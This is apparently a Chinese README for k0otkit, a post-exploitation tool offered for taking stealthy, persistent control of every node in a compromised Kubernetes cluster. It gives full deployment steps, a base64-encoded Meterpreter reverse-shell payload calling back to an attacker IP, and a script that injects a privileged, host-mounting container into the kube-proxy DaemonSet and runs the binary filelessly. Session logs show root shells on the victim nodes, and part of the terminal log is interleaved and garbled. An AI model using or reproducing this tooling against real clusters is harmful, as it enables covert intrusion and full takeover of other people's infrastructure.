k0otkit - 以 K8s 的方式操纵 K8s

简介

k0otkit 是一种通用的后渗透技术，可用于针对 Kubernetes 集群的渗透。

借助 k0otkit，你可以快速、隐蔽且持续地控制目标 Kubernetes 集群中的所有节点（反向 Shell）。

k0otkit 是 Kubernetes 和 rootkit 的结合。

前置条件：

k0otkit 是一个后渗透工具，因此你必须首先攻陷一个集群，设法从容器中逃逸并获取主节点的 root 权限（准确地说，你需要获取目标 Kubernetes 的 admin 权限）。

场景：

经过 Web 渗透后，你获得了目标的 Shell。
如有必要，设法提升权限并成功。
你发现目标环境是 Kubernetes 集群中的一个容器（Pod）。
你设法从容器中逃逸并成功（借助 CVE-2016-5195、CVE-2019-5736、docker.sock 或其他技术）。
你获得了主节点的 root Shell，并且能够以 admin 身份使用主节点上的 kubectl 对集群发出指令。
现在你想尽快控制集群中的所有节点。k0otkit 来了！

k0otkit 的详细说明见 k0otkit: Hack K8s in a K8s Way。

使用方法

请确保你已获得目标 Kubernetes 主节点上的 root Shell。（如果你拥有目标 Kubernetes 的 admin 权限，也可以使用 k0otkit，但你可能需要修改 k0otkit_template.sh 中的 kubectl 命令以使用 token 或证书。）

请确保你的攻击主机上已安装 Metasploit（msfvenom 和 msfconsole 应可用）。

部署 k0otkit

克隆此仓库：

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

将 pre_exp.sh 中的攻击者 IP 和端口替换为你自己的：

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

生成 k0otkit：

./pre_exp.sh

将生成 k0otkit.sh。然后运行反向 Shell 处理器：

./handle_multi_reverse_shell.sh

当处理器就绪后，复制 k0otkit.sh 的内容，粘贴到目标 Kubernetes 主节点的 Shell 中，然后按 <Enter> 执行。

稍等片刻，即可获得来自所有节点的反向 Shell :)

附注：k0otkit 可以操纵的 Kubernetes 集群数量没有限制。

与 Shell 交互

成功部署 k0otkit 后，你可以根据需要与任何反向 Shell 进行交互：

# within msfconsole
sessions 1

特性

利用 K8s 资源和特性（以 K8s 的方式攻击 K8s）
动态容器注入
通信加密（感谢 Meterpreter）
无文件

示例

生成 k0otkit：

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

运行反向 Shell 处理器：

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

将 k0otkit.sh 的内容复制到目标 Kubernetes 主节点的 Shell 中，并按 <Enter>：

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/

root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: $secret_name
>   namespace: kube-system
> type: Opaque
> data:
>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
>   | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

等待反向 Shell：

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

功能1 退出并重新连接：

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

功能2 逃逸并控制节点：

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin
40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot
40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev
40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc
40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home
100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img
100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old
40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64
40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt
40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt
40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc
40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root
40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run
40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin
40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv
40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys
41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp
40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr
40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var
100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz
100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old

k0otkit

最受欢迎

k0otkit - 以 K8s 的方式操纵 K8s

简介

使用方法

特性

示例